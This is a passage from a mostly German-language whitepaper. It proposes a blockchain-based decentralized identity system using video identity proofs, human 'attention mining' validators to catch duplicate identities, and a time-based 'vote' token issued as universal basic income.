Ein Nachweis kann mit jeder beliebigen Aufzeichnungsanwendung erfolgen, solange sie die Anforderungen des Protokolls erfüllt. Für das Video wird eine Länge von nicht mehr als 3 Minuten empfohlen. Darin muss der Benutzer eine Reihe von geskripteten Schritten befolgen, um Validierern zu helfen, mit ihrer Aufmerksamkeit zu urteilen:
# '''Gesicht''': Unter frontalem Licht den frontalen Gesichtsausdruck (wie bei der Aufnahme eines ''Selfie'') und jede Seite des Kopfes filmen, ohne Brillen, Hüte, Make-up oder Masken jeglicher Art zu tragen.
# '''Namen''': Sagen Sie die folgenden Indikatoren laut auf:
## Vollständiger Vorname (sprachbasierte Identität).
## Vollständiger Nachname (blutbasierte Identität, zusätzlich können Informationen zu Mutter und Vater angegeben werden).
## Staatsangehörigkeit (territoriale Identität, sie kann den Wohnsitz oder die steuerzahlende Gerichtsbarkeit umfassen).
## Alternativ kann der Benutzer einen Spitznamen verwenden, wenn dieser ein häufigerer Hinweis auf seine Person ist.
# '''Biometrische Merkmale''' (optional): Sprechen Sie einen dieser Indikatoren laut aus oder demonstrieren Sie ihn auf eine zuverlässige Weise. Dies kann für bestimmte Anwendungsfälle wie Geburtsurkunden nützlich sein.
## Geburtstag (Tag, Monat und Jahr).
## Größe (Zoll oder Zentimeter).
## Gewicht (Pfund oder Kilogramm).
## Geschlecht (männlich, weiblich, etc.).
# '''Witnesses''' (Optional): Zuvor validierte Identitäten können als Zeugen für diese Identität fungieren. Sie können physisch vor Ort sein und im Video unter Angabe ihrer vollständigen Namen und öffentlichen Schlüssel auftreten, um eine neue Identität zu bestätigen.
## Die Zeugen können das Recht erhalten, diesen Nachweis zu widerrufen, zu aktualisieren oder zu annullieren (z. B. bei Verlust der privaten Schlüssel oder bei biologischem Tod).
## Zwillinge. Diejenigen, die einen Zwillingsbruder oder eine Zwillingsschwester haben, müssen dies angeben, um zu verhindern, dass sie während des Verifizierungsprozesses als ''Replikant'' eingestuft werden.
## Zertifizierungen. Auch wenn dies auf eine zentrale Autorität zurückfallen würde, kann die Reputation von staatlich ausgestellten Dokumenten helfen, einen Videobeweis vertrauenswürdiger zu machen. Dies könnte eine Geburtsurkunde, ein Führerschein oder ein nationaler Ausweis sein, solange er keine sensiblen Informationen enthält (z. B. die Verwendung einer Sozialversicherungsnummer in den USA).
# '''Erklärung''': Um zu gewährleisten, dass die Person, die ihren Identitätsnachweis erstellt, sich der Rechte bewusst ist, die sie mit der Genehmigung ihrer Mitgliedschaft im Netzwerk erhält und nicht von einem unsichtbaren Angreifer genötigt wird, ist es zwingend erforderlich eine Erklärung zur Selbstsouveränität abzugeben, die auch einen Eid bezüglich der angegebenen Fakten beinhaltet: <blockquote>Ich, (Persönlicher Name), erkläre, dass ich dieses Video in Übereinstimmung mit meiner persönlichen Souveränität als Bürger der Erde mache und alle gemachten Aussagen wahr sind. Ich werde der alleinige Nutzer aller ''votes'' sein, die im Namen dieses Beweises vergeben werden, und ich handele ohne jegliche Drohung oder Zwang gegen meinen freien Willen.</blockquote>
# '''Öffentlicher Schlüssel''': Eine Adresse, an die ''votes'' vergeben werden, wenn die Identität bestätigt wird. Dies wird der [https://github.com/WebOfTrustInfo/ID2020DesignWorkshop/blob/master/topics-and-advance-readings/DID-Whitepaper.md Decentralized Identifier (DID)] sein, der auf diesen Benutzer zeigt. Wenn diese Identität schließlich als korrupt eingestuft wird oder der Benutzer (oder ein aufgelisteter Zeuge) sie widerruft, dann werden die zugewiesenen ''votes'' für die zukünftige Verwendung ungültig.
# '''Zeitstempel''': Aktuelle Blockhöhe der Blockchain, die für das Hashing dieses Videos verwendet wird, um zu verhindern, dass Videos, die nichts mit dem Zeitpunkt der Erstellung des POIs zu tun haben, als Beweis verwendet werden. Ein manueller Zeitstempel kann einfach den Bildschirm einer Blockchain-Explorer-Anwendung filmen, die die letzte Blocknummer und den dazugehörigen Hash anzeigt. Da dies für die meisten Benutzer komplex sein könnte, können Apps, die für die Generierung dieses Beweises entwickelt wurden, diesen Inhalt automatisch zum Video hinzufügen. Diese Information, sobald der Beweis mit einer Blockchain-Transaktion gehasht wurde bestätigt, dass das Video in keiner Weise von einem Dritten verändert wurde, nachdem es an das Netzwerk gesendet wurde.
Auch wenn dieser Prozess komplexer sein kann als das durchschnittliche Anmeldeformular, das man bei den meisten Anwendungen findet, ist es wichtig zu betonen, dass es auch ein politischer Akt ist der die Unabhängigkeit von Autoritäten jeglicher Art erklärt. Dieses Video ist das persönliche Manifest, das jeder machen kann um sich von Zwängen zu befreien und ein Schritt in Richtung einer grenzenlosen Demokratie.
====3.2.3 Hashing.====
Once the digital file with the self-sovereign proof has been generated, a [https://en.wikipedia.org/wiki/Cryptographic_hash_function cryptographic hash function] applied to it is calculated. Following the steps of the implementation made by Manuel Araoz and Esteban Ordano with [https://proofofexistence.com ProofofExistence.com], a standard [https://en.wikipedia.org/wiki/SHA-2 SHA-256] digest is recommended, although other cryptographic signing schemes could be used with Ethereum but not so much with Bitcoin, and may be preferred, e.g. a signing scheme with transparency and no trusted setup as is possible with [https://eprint.iacr.org/2018/046 zk-STARKs] and [https://forum.z.cash/t/zksnarks-zkstarks/22001 may be implemented with Zcash]; and [https://en.wikipedia.org/wiki/Lamport_signature Lamport signatures] for future-proofing with quantum security. Once the hash has been generated, it can be encoded in a Bitcoin transaction using an [https://en.bitcoin.it/wiki/OP_RETURN OP_RETURN] script that also includes a marker that helps track identity-related proofs. We suggest using 'IDPROOF' (0x494450524f4f46) for this particular use case.
Wenn man bedenkt, dass eine durchschnittliche Bitcoin-Transaktion aus 226 Bytes besteht und die Mining-Gebühr im August 2017 bei 27.120 Satoshis lag, liegen die Kosten für das Hashing eines Proofs direkt auf der Blockchain bei ~$1 pro Proof. Dies kann für die meisten Leute relativ teuer sein, daher empfehlen wir, diesen Prozess zu skalieren, indem man eine [https://github.com/aantonop/chainpoint Chainpoint]-Implementierung aktiviert, die bis zu 10.000 Proofs pro Transaktion speichern kann, indem man die gehashten Daten auf einen [https://en.wikipedia.org/wiki/Merkle_tree Merkle Tree] legt und stattdessen die Merkle-Wurzel im OP_RETURN-Skript kodiert. Dies wird auch den Speicherbedarf der Bitcoin-Blockchain erheblich reduzieren, eine öffentliche Ressource, die nicht missbraucht werden darf. Alternativ können Virtualchains, die auf der Bitcoin-Blockchain laufen und einen Fokus auf Identität und Namespaces haben, wie z. B. [http://blockstack.org Blockstack] verwendet werden, um diesen Anwendungsfall und die Verwaltung des privat-öffentlichen Schlüsselpaares zu erfüllen.
Jeder Beweis, der diesen Prozess in einem digitalen Kontext durchläuft, ist garantiert nicht in irgendeiner Weise korrumpiert. Die digitalen Dateien, die als Beweis verwendet werden, können überall gespeichert, ohne Einschränkungen kopiert oder sogar geheim gehalten werden, ohne sie mit jemandem zu teilen. Solange es eine Transaktion in der Blockchain gibt, die den kodierten Hash mit den Daten der digitalen Datei validieren kann, ist der Beweis gültig. Die Bitcoin-Blockchain bietet den stärksten Widerstand gegen Korruption, da sie die größte Menge an Hashing-Power der Welt hat, die ihre Infrastruktur schützt. Mit diesem Mechanismus kann die Bitcoin-Blockchain als ein dezentraler Index von selbstsouveränen Identitäten arbeiten. Die Nutzung dieser Fähigkeit wird die Bürokratie einer grenzenlosen Demokratie nur stärker machen als jede andere Regierung auf der Erde.
====3.2.4 Attention Mining.====
<blockquote>
In der Blockchain weiß niemand, dass Sie eine KI sind.
</blockquote>
'''Satoshi Nakamoto'''.
[[File:/images/proof-of-identity.png|Proof of Identity.]]
Im Computerraum sind Identitäten nichts weiter als Zeiger: Algorithmen fehlt jegliches Bewusstsein über die Muster die sie zu erkennen trainiert sind. Identitäten gehören strikt in den menschlichen Bereich (d. h. nur eine Person kann eine andere Person erkennen). Anstatt also ''verteilte Rechenleistung'' zu nutzen, um Transaktionen zu verifizieren, wie es bei den meisten Kryptowährungen geschieht, nutzen ''votes'' ''verteilte Aufmerksamkeitsleistung'', um selbst generierte Identitätsnachweise zu verifizieren. Diese Aufmerksamkeit wird von menschlichen Teilnehmern eingebracht, die als Validatoren fungieren.
Ein bekannter Präzedenzfall des Attention Mining sind CAPTCHA-Tests, die oft im Login von Webseiten mit hohem Traffic zu finden sind. CAPTCHA ist ein Akronym für ''Completely Automated Public Turing test to tell Computers and Humans Apart''. Diese bestehen aus einfachen Sehaufgaben, die von einem Menschen leichter als von einem Computer ausgefüllt werden können. Diese Technik [https://www.cs.cmu.edu/~biglou/reCAPTCHA_Science.pdf] wurde von dem Forscher Louis Von Ahn entwickelt, um Datensätze zu erstellen, mit denen maschinelle Lernalgorithmen zum Lesen von auf Papier gedruckten Wörtern trainiert werden können. Als Google-Ingenieur erstellte Von Ahn einen einfachen Test, der über alle Login-Seiten verteilt war und zwei Wörter anzeigte, die aus eingescannten Bildern gewonnen wurden. Ein Benutzer sollte beide Wörter in ein Texteingabefeld schreiben, um zu beweisen, dass er ein Mensch und keine Maschine ist. Das System kannte bereits die Bedeutung des ersten Wortes (und bestätigte damit, dass der Benutzer ein Mensch ist), aber es wurde mit der zweiten Eingabe trainiert, da es diese Information im Datensatz für die Algorithmen zur Zeichenerkennung verwendete. Diese einfache Übung wurde erweitert, um alle Arten von Mustererkennungssystemen zu trainieren, und sie trug zur Sicherheit von Websites bei, indem sie das Eindringen von Bots (und Botnets) verhinderte.
Aufmerksamkeit kann auch menschliche Identitäten in einem dezentralen Netzwerk validieren, analog zu [https://bitcoin.com/bitcoin.pdf Bitcoins Proof of Work-Algorithmus (POW)], der von Mining-Knoten verwendet wird, um Peer-to-Peer-Transaktionen mit einem Zeitstempel zu versehen. In Bitcoin generiert jeder Miner seinen eigenen Blockchain-kompatiblen Proof-Hash für einen neuen Block von Transaktionen und sendet ihn an das Netzwerk. Wenn 51% der Knoten im Netzwerk den verifizierten Block akzeptieren, wird er an die Blockchain gekettet und der Miner beginnt mit der Arbeit am nächsten Transaktionsblock, wobei er den akzeptierten Block als vorherigen Hash verwendet. Diese Technik ermöglicht Geldtransaktionen ohne Zentralbanken. In einer Demokratie ohne Zentralregierungen dient die menschliche Aufmerksamkeit statt der Verifizierung von verschlüsselten Blöcken dazu, über selbst erstellte Identitäten abzustimmen, um ihnen ''Stimmen'' zu geben, die schließlich für neue Verifizierungen verwendet werden können.
Die meisten Forschungsarbeiten zur Verhinderung von Sybil-Angriffen (Identitätsfälschungen in Peer-to-Peer-Netzwerken) drehen sich darum, dass Entitäten eine Aufgabe ausführen müssen, die ein Sybil-Angreifer nicht ausführen könnte. Beim Attention Mining müssen Validierer bestimmte Aspekte von ''Proof of Identity''-Videos beachten, die nur eine Person erkennen kann. Um einen Mechanismus zu haben der Bots verhindert kann das System modifizierte Videos erzeugen, um Angreifer zu Fehlern zu verleiten. Diese Verzerrungen können durch das Ausschneiden bestimmter Abschnitte aus einem Video, das Mischen mit anderen oder das Verzerren von Stimmen erzeugt werden, um als Videoversion eines CAPTCHA-Tests zu funktionieren, der darauf abzielt, sicher zwischen echten menschlichen Validierern und Botnets zu unterscheiden.
====3.2.5 Little Brothers.====
<blockquote>
Wer beobachtet die Wächter?
</blockquote>
[https://en.wikipedia.org/wiki/Watchmen '''''Watchmen'''''], graphic novel (1987).
Self-sovereign identities can be valued on two key aspects that help define their right to participate in the network:
* '''Reputation''': Ein sozialer Indikator, dass eine bestimmte Identität vertrauenswürdig ist.
* '''Einzigartigkeit''': Ein individueller Indikator, der bescheinigt, dass eine Identität eindeutig an eine einzige Person gebunden ist.
Jeder im Netzwerk kann sich daran beteiligen, neue Selbstsouveräne zu verifizieren, um eine globale Demokratie gegen die Bedrohung durch einen ''Big Brother'' zu sichern. Diese Aufgabe wird effektiv ausgeführt, wann immer eine <code>Organisation</code> beschließt, ein neues <code>Mitglied</code> zuzulassen. Durch die Nutzung verteilter Aufmerksamkeit über mehrere <code>Organisationen</code> anstelle einer alles beobachtenden Zentralmacht sind die Validierer in der Tat eine Armee von [http://groups.csail.mit.edu/mac/classes/6.805/articles/crypto/cypherpunks/little-brother.txt kleinen Brüdern], die gemeinsam eine selbstsouveräne Identität im Netzwerk erreichen können. Die ''kleinen Brüder'' können zentralisierte Identitätsanbieter in Bezug auf die Genauigkeit übertreffen, da sie ständig einen Anreiz haben, die Legitimität innerhalb des Netzwerks aufrechtzuerhalten, um die ''votes'' als wertvolles Gut zu behalten: Der Erfolg des Netzwerks beim Aufspüren von ''Replikanten'' (duplizierten Identitäten) bestimmt die Knappheit des ''vote''-Tokens. Die Legitimität jeder Demokratie basiert auf der Führung eines ordnungsgemäßen Wählerverzeichnisses.
=====3.2.5.1 Reputation.=====
Das Interesse an der effektiven Validierung eines ''Identitätsnachweises'' liegt bei <code>Organisationen</code>, welche sich mit Bewerbern beschäftigen die <code>Mitglieder</code> werden wollen. Diejenigen, die innerhalb einer <code>Organisation</code> das Recht haben neue Mitgliedschaften zu genehmigen haben Einfluss auf die Reputation einer <code>Organisation</code> und somit auch einen Einfluss auf die Reputation aller <code>Mitglieder</code>,die von der <code>Organisation</code> bestätigt worden sind.
Die Zuweisung der Reputation von einer <code>Organisation</code> zu einem genehmigten <code>Mitglied</code>, erfolgt duch das erfolgt durch das Signieren des POI mit dem sich das Mitglied beworben hat. Damit wird die Identität vom <code>Mitglied</code> bestätigt. Die mit einer Identität verbundenen Mitgliedschaften im Netzwerk können von zukünftigen Validierern auf andere <code>Organisationen</code> in beliebiger Weise interpretiert werden. <code>Organisationen</code> im Netzwerk können so klein wie eine Familie oder so groß wie ein multinationaler Konzern sein, aber letztlich sind sie <code>Domänen</code> in einem Netzwerk ähnlich wie <code>Tags</code> , die die Attribute einer Identität beschreiben. Einige <code>Organisationen</code> können für sehr spezifische Überprüfungen existieren, z.B. eine <code>Organisation</code> unter einer ''legal.age''-Domäne, die nur überprüft ob ein POI zu jemandem gehört der älter als 18 Jahre ist. Damit würde jedes zugelassene <code>Mitglied</code> einer solchen Organisation eine gültige ''legal.age''-Signatur auf seinem POI tragen.
Die Reputation einer <code>Organisation</code> kann daran gemessen werden, wie oft sie am Ende [https://en.wikipedia.org/wiki/Replicant ''Replikanten''] als <code>Mitglieder</code> zulässt. Mit anderen Worten: <code>Organisationen</code> die am ''Singularitäts-Score'' scheitern, mit dem die Individualität der Teilnehmer im Netzwerk bewertet wird, sind am Ende weniger vertrauenswürdig als solche die souveräne Individuen effektiv einbeziehen können.
=====3.2.5.2 Replikante.=====
Während Regierungen den Familienstammbaum eines potenziellen neuen Bürgers überprüfen müssen und traditionelle Unternehmen sich auf [https://en.wikipedia.org/wiki/Know_your_customer ''Know Your Customer''] Praktiken (KYC) verlassen müssen um eine Grenze zwischen ihren Kunden und dem Rest der Welt zu ziehen, hat eine globale Demokratie keine solche Sorge um einen Unterschied zwischen ''uns und ihnen'' herzustellen. Das Ziel der Democracy Earth Foundation ist es jedem Menschen das Recht zu geben ''votes'' zu benutzen: wir sind alle ''wir'' (oder ''sie''). Daher besteht die allgemeine Herausforderung für eine erfolgreiche dezentralisierte ''Proof of Identity''-Dynamik darin, die verfügbare Aufmerksamkeit im Netzwerk darauf zu konzentrieren ''Replikanten'' zu erkennen bzw. aufzuspüren.
''Replikanten'' sind Identitäten, die als Duplikate ''gewählt'' werden und unrechtmäßig mehr ''votes'' beanspruchen als ihnen zustehen. Gefälschte POIs werden wahrscheinlich durch moderne Techniken des 3D-Renderings erzeugt, die darauf abzielen das menschliche Auge auszutricksen (z. B. das [https://en.wikipedia.org/wiki/Uncanny_valley unheimliche Tal] der Wahrnehmung zu übertreffen), aber es ist eine sichere Annahme, dass [http://www.cv-foundation.org/openaccess/content_cvpr_2014/papers/Taigman_DeepFace_Closing_the_2014_CVPR_paper.pdf Menschen in der Lage sind, Gesichter mit einer Genauigkeit von 98 % zu erkennen], während [http://www.washington.edu/news/2016/06/23/how-well-do-facial-recognition-algorithms-cope-with-a-million-strangers/ die Kapazität algorithmischer Systeme bei Skalierung abnimmt]. In Anbetracht der Tatsache, dass die Grenze zwischen Menschen und künstlichen Intelligenzen gezogen wird, verwenden wir den Begriff "Replikant", der für den Film "Blade Runner" von 1982 geprägt wurde und sich auf Androiden bezieht die simulieren können, echte Menschen zu sein.
=====3.2.5.3 Singularity Score.=====
Um die Gültigkeit einer Identität zu bestätigen, werden den Prüfer gleichzeitig zwei POI-Videos gezeigt, die dabei zufällig aus allen indizierten und gehashten Videos in der Blockchain ausgewählt werden können. Ein Face-Matching-Algorithmus, der nach Ähnlichkeiten zwischen den Gesichtsausdrücken sucht kann verwendet werden um die Prüfung zu optimieren. Die Validatoren müssen mit Hilfe von "votes" zustimmen, ob diese POI-Videos zu einer Person gehören oder nicht. Wobei das laufende Ergebnis dieser Entscheidung ein "Singularitäts-Score" für die Identität ist.
Der Validierungsprozess ist derselbe wie in jeder Sovereign-Abstimmungsdynamik: Validierer können zustimmen, indem sie bei einem <code>Stimmzettel</code> ein ''vote'' mit einer <code>true</code> angekreuzten <code>Option</code> abgeben. Andernfalls müssen sie eine ''Stimme'' mit einer <code>false</code> angekreuzten <code>Option</code> abgeben. Alle POI-bezogenen Entscheidungen sind <code>Strategisch</code>: ohne ein Abschlussdatum, bei dem zugewiesene ''votes'' in Echtzeit wirken. Zu jeder Zeit kann ein Validierer den ''Vote''-Wert überschreiben, wenn er Beweise gefunden hat die das vorherige Urteil modifizieren. Außerdem können ''votes'' zur Validierung eines POI entfernt werden, wenn die Identität bereits von genügend Validierern eingegeben wurde, was die Zuweisung zusätzlicher ''votes'' überflüssig macht. Wie bei jeder souveränen Entscheidung wird das Endergebnis einer POI-bezogenen Abstimmung entweder auf einem <code>true</code> oder <code>false</code> Wert enden. Jeder, der am Ende als ''Replikant'' eingestuft wird, verliert seine gewährten ''votes''.
Die <code>Kriterien</code>, die für den ''Singularitäts-Score'' verwendet werden, sind ebenfalls Gegenstand der Abstimmung durch jeden validierten POI, der am Netzwerk teilnimmt. Demokratien sind immer ein Work in Progress, ständig selbstkorrigierend mit einer Feedbackschleife, die definiert, wie die Beobachter beobachtet werden. Der Schwellenwert, der das souveräne Recht für ''vote'' festlegt, muss sich ständig an das exponentielle Wachstum der Rechenkapazität anpassen, die eine Unterwanderung des Netzwerks riskieren kann. Mit einem dezentralen Identitätsindex auf einer unbestechlichen Blockchain, welche von mit verteilter Aufmerksamkeit (d.h. einem offenen Gesichtsbuch) gepflegt wird, wird der ''vote''-Token zu einem vertrauenswürdigen Instrument für eine weltweit entstehende digitale Demokratie. Die Verteilung von Aufmerksamkeit um das Netzwerk zu sichern, bringt nicht nur Bewusstsein in ein System das ansonsten blind für künstliche Intelligenz ist, sondern erlaubt es den Teilnehmern auch ihre Identitäten zu nutzen, ohne von einer zentralisierten Macht gezwungen zu werden, die daraus ohne Zustimmung Geld machen könnte. Bewusste Aufmerksamkeit muss immer in den Dienst der Stärkung einer globalen Demokratie gestellt werden, denn nur im Bereich des menschlichen Bewusstseins können wir definieren, was es bedeutet ein Mensch zu sein.
Eine andere Möglichkeit, fragliche Identitäten zu validieren könnte darin bestehen, [https://github.com/doctor-gonzo/proof-of-human/blob/master/README.md eine Lösung für ein Sprachproblem (Winograd Schema Challenge)] anzufordern, das derzeit nur Menschen lösen können.
===3.3 Universelles Grundeinkommen.===
<blockquote>
Jetzt ist es an der Zeit, das Versprechen der Demokratie wahr zu machen.
</blockquote>
'''Martin Luther King Jr.''', Minister and activist (1929-1968).
Die Fähigkeit, einen zuverlässigen Prozess zur Validierung der eigenen Identität zu entwickeln garantiert nicht nur den legitimen Wert von "votes" um eine soziale Entscheidung zum Ausdruck zu bringen, sondern schafft auch die Grundlage einer notwendige Infrastrukturfür für einen Mechanismus für ein "Universelles Grundeinkommen" (UGE), das jeden auf der Erde erreichen kann. Die symbiotische Beziehung von UGE und Demokratie ist gut fundiert. Laut der auf der Basic Income Earth Network (München September 2012) vorgestellten Forschung kann die Umsetzung des Grundeinkommens [http://basicincome.org/bien/pdf/munich2012/Choi.pdf in hohem Maße dazu beitragen, die Prinzipien der Demokratie zu verwirklichen sowie ihre substanzielle Grundlage zu schaffen]. Um die politische und finanzielle Grundlage für die Etablierung einer grenzenlosen Demokratie zu festigen, wird daher nach der Validierung eines ''Identitätsnachweises'' durch Gleichgesinnte der für ''votes'' ausgelöste Verteilungsmechanismus zeitbasiert als UGE eingeführt.
Zeit ist ein wertvolles und begrenztes Gut, daher handelbar. Man kann nicht mehr Zeit kaufen, mieten oder vermieten: Sie hat ein unelastisches Angebot, egal wie hoch die Nachfrage ist. [https://books.google.com/books?id=sjlVAAAAcAAJ&pg=PA5&lpg=PA5&dq=what+is+money+man%27s+birthright+time&source=bl&ots=uxfZPDT94J&sig=gWf_LpHeEA-g6ukveZ1-mQI3FE4&hl=es&sa=X&ved=0ahUKEwjgyuHR2ejVAhUK7iYKHUX0AzgQ6AEILjAB#v=onepage&q=what%20is%20money%20man's%20birthright%20time&f=false Die Zeit ist der einzige Wertmaßstab, an dem sich alle Arbeit messen lässt, egal ob manuell, geistig, von Männern oder Frauen geleistet]. Und indem die Zeit als Token verwendet wird und als Grundlage für die Zuteilung von ''votes'' benutzt wird, wird ein Besitz geschaffen den jedes Mitglied einer globalen Demokratie zu gleichen Bedingungen besitzt. Liquidität ist eine Voraussetzung für jede Demokratie die darauf abzielt Zwang zu vermeiden: Stimmen müssen gehört werden können um zu zählen, und indem wir ''votes'' als UGE einführen, befähigen wir Individuen sich den kommenden Herausforderungen der Automatisierung zu stellen. Die Gewährung von "votes" als Recht auf Zeit vermeidet die [https://en.wikipedia.org/wiki/Tragedy_of_the_commons "Tragödie der Allmende"], während sie die Grundlagen für ein Governance-Modell schafft, das über Schulden und Nationalstaaten hinausgeht.
ADer Selbstsouverän kann also auf drei verschiedene Arten "votes" erhalten:
* '''Delegieren''': Jedes <code>Mitglied</code> innerhalb einer <code>Organisation</code>, die als liquide Demokratie arbeitet, kann ''votes'' delegiert bekommen.
* '''Gewährung''': <code>Organisationen</code> können ''votes'' an neue Teilnehmer zu ihren eigenen Bedingungen vergeben. Teilnehmer können <code>Organisationen</code> mit ihren eigenen ''votes'' erstellen oder finanzieren.
* '''Drip''': Sobald ein ''Identitätsnachweis'' gültig ist, beginnen die ''votes'' im Laufe der Zeit in die Brieftasche des Benutzers zu übertragen.
====3.3.1 Übertragen (Tropping).====
Die Rate, mit der 1 ''vote'' auf eine verifizierte Identität übertragen wird, wird mit der Bitcoin-Blockchain synchronisiert. Indem der Synchronisationsmechanismus von Bitcoin als Uhr verwendet wird, gibt ein unbestechlicher Konsens den Rhythmus für das gesamte Netzwerk vor. Bitcoin kettet alle 10 Minuten einen neuen Block an die Blockchain, was bedeutet,
1 Stunde = 6 Blöcke
Unter der Annahme, dass die verdienbare Zeit auf der ganzen Welt auf 8-Stunden-Arbeitstagen basiert,
8 Stunden pro Tag x 5 Tage pro Woche x 52 Wochen pro Jahr = 2.080 Stunden pro Jahr
Oder in der Blockzeit,
2.080 Stunden = 12.480 Blöcke
Und wenn man bedenkt, dass der etablierte Konsens über [https://medium.com/economicsecproj/how-to-reform-welfare-and-taxes-to-provide-every-american-citizen-with-a-basic-income-bc67d3f4c2b8 ein ideales Grundeinkommen im Durchschnitt bei 10 % des Einkommens einer Person liegt], können wir das definieren,
10 % Verdienst Jährliches Grundeinkommen = 208 Stunden pro Jahr = 1.248 Blöcke
Das bedeutet, dass von den ~52.560 Blöcken, die ein ganzes Jahr an Aktivität auf der Bitcoin-Blockchain registrieren, insgesamt 1.248 Blöcke für die Belohnung eines UGE pro Jahr berücksichtigt werden sollten. Um das "Vote"-Tropping mit Bitcoin als UGE-Mechanismus zu synchronisieren, der auf 10% Verdienst für jede Arbeitsstunde basiert, sollte 1 volle Einheit eines "Vote"-Tokens dann alle ~42 Stunden (oder ~252 Blöcke) übertragen werden. Um eine praktikable Teilbarkeit des "Vote"-Tokens zu garantieren, so dass er alle paar Sekunden übertragen werden kann (während es auch für menschliche und maschinelle Interpretation einfacher wird), setzen wir die Dripping-Rate auf,
1 vote = 250 Blöcke
Jeder gültige POI wird also insgesamt bewilligt bei:
210 Stimmen pro Jahr
[[File:/images/proof-of-identity-dripping.png|Dripping mechanism for mined votes.]]
Daher unter Berücksichtigung der folgenden Variablen:
* T(B_present) = eine Funktion, die den Zeitstempel des neuesten Blocks zurückgibt (d. h. ungefähr nicht mehr als 10 Minuten vor der aktuellen Zeit).
* r = Eine Konstante für die "Vote"-Zuteilungsrate, eingestellt auf 1 Vote alle 250 Blöcke in der Zeit.
* T(B_Pᵢ) = eine Funktion, die den Zeitstempel des ''Proof of Identity''-Blocks mit dem entsprechenden Hash für eine bestimmte Identität (i) zurückgibt.
* Sᵢ = ''Singularitätswert'', ausgedrückt als <code>wahr</code> oder <code>falsch</code> für eine gegebene Identität (i).
* Vᵢ = Gesamtmenge der ''votes'' für eine gegebene Identität (i).
Dann können die "votes", die eine selbstsouveräne Identität im System verwenden darf, auf jedem Knoten berechnet werden, der einen Smart Contract mit der Formel ausführt:
[[File:/images/ubi-vote-formula.png|Vᵢ = ((T(B_present) - T(B_Pᵢ)) / r) * Sᵢ]]
Solange der ''Proof of Identity'' von der Community validiert wurde und ein Smart Contract mit einem aktiven Blockchain-Knoten synchronisiert ist, wird der Wert von Vᵢ entweder eine Zahl sein, die die Gesamtmenge an ''votes'' definiert, die ein Selbstverwalter als Nutzungsrecht auf einer gehosteten Wallet hat, oder, wenn der POI abgelehnt wird (d. h. Sᵢ = <code>false</code>), dann werden die verfügbaren Stimmen des Teilnehmers null.
====3.3.2 Gleichberechtigung====
Die beschriebene Tropfendynamik kommt am Ende den Early-Adoptern zugute, wie es bei finanzorientierten Kryptowährungen oft der Fall ist. Bitcoin zum Beispiel wird oft als ''kryptographisch induzierte Knappheit'' beschrieben, da es ein Instrument ist, das aufgrund der festen Knappheit seines Tokens in der Lage ist, Reichtum in Form von wirtschaftlichen Ressourcen zu messen. Mit dem Token ''vote'' bauen wir jedoch ein Netzwerk einer anderen Art auf, das komplementär zu finanziellen Kryptowährungen sein soll, indem es Governance als Ziel hat. Indem wir ''votes'' als ein Recht ausgeben, das jedem gewährt werden kann, solange seine oder ihre einzigartige Identität nachgewiesen ist, funktioniert die ''votes'' als politisches Gewicht. Im Wesentlichen geht es bei unserem Ansatz also um ''kryptografisch induzierte Gleichheit'': Das ist die Grundlage für jede echte Demokratie. Aus diesem Grund führen wir eine weitere Variable in ihre ''Universal Basic Income''-Dynamik ein,
* E = Anzahl der ''votes'', die der ''Genesis Identity'' bei aktueller Blockhöhe (T) zugeordnet sind.
Wir bezeichnen die ''Genesis-Identität'' als den allerersten ''Identitätsnachweis'', der vom Netzwerk anerkannt wird. Mit dieser Information wird die nächste bestätigte Identität nicht im Nachteil beginnen: sie wird eine Brieftasche mit der gleichen Anzahl von ''Stimmen'' haben, wie der erste Teilnehmer im Netzwerk derzeit hat. Da diese Regel für jeden Teilnehmer gilt, garantiert sie ''Gleichheit'' in Bezug auf die Teilnahme, so dass jeder die gleiche Menge an souveränen ''Stimmen'' hat wie jeder andere, wodurch die UGE-Formel wie folgt erweitert wird:
[[File:/images/ubi-equality-formula.png|Vᵢ = (E + ((B_present) - T(B_Pᵢ)) / r)) * Sᵢ]]
Mit der ''Gleichheit''-Variable wird ein zweiter Teilnehmer Bob, wenn er 1500 Blöcke nach dem ersten Teilnehmer Alice validiert wurde, nicht mit 0 ''votes'' beginnen, sondern einen Anfangsbetrag erhalten, der dem aktuellen Guthaben von Alice in diesem Moment entspricht (d.h. bei einer Rate von 1 ''vote'' pro 250 Blöcken sind es insgesamt 6 ''votes''). Bob wird danach weiterhin Block für Block gleichberechtigt mit Alice ''votes'' erhalten. Wenn ein dritter Teilnehmer Charlie 1000 Blöcke später einen gültigen ''Proof of Identity'' generiert, beginnt auch er mit der entsprechenden Menge an ''votes'', die Alice und Bob bis dahin jeweils haben (also insgesamt je 10 ''votes''). Mit diesem Inflationsprozess, der jeden neuen Teilnehmer belohnt (und alle bereits existierenden verwässert), wird jedem ein ''gleicher'' Anteil an den Gesamtteilnehmerrechten des Netzwerks garantiert. Solange ''Replikanten'' erfolgreich verbannt werden, ist das ''Vote''-Netzwerk ein echtes demokratisches globales Gemeingut.
[[File:/images/chart-votes-coins-time.png|Vote emission and inflation rate.]]
Auch wenn die Inflationsrate zunächst zu aggressiv erscheinen mag, ist das Gesamtangebot an "votes" dennoch auf eine Höchstgrenze festgelegt, die auf der Anzahl der Teilnehmer im Netzwerk basiert. Wenn sich mehr Teilnehmer engagieren, wird die Gesamtinflation tendenziell auf 0 % begrenzt, da neue ''votes'' einen geringeren Einfluss auf die Wirtschaft als Ganzes haben. Im Vergleich zu nicht begrenzten "Likes" und "Retweets" in anderen sozialen Anwendungen ist anzumerken, dass die Zuweisung von "votes" aufgrund der Subjektivität jedes Einzelnen immer noch eine Entscheidung ist, die auf einer begrenzten Ressource basiert, die Opportunitätskosten mit sich bringt und ein rationaleres Verhalten erzwingt als impulsives Liken (d. h. Trollen).
====3.3.3 Nakamoto-Koeffizient====
Es werden erhebliche Anstrengungen zur Quantifizierung der Dezentralisierung unternommen, darunter die Arbeit von Balaji Srinivasan zur Erstellung eines [https://news.21.co/quantifying-decentralization-e39db233c28e ''Nakamoto-Koeffizienten''], der wie folgt definiert ist:
<blockquote>
Die Mindestanzahl von Einheiten in einem bestimmten Teilsystem, die erforderlich ist, um 51 % der Gesamtkapazität zu erreichen.
</blockquote>
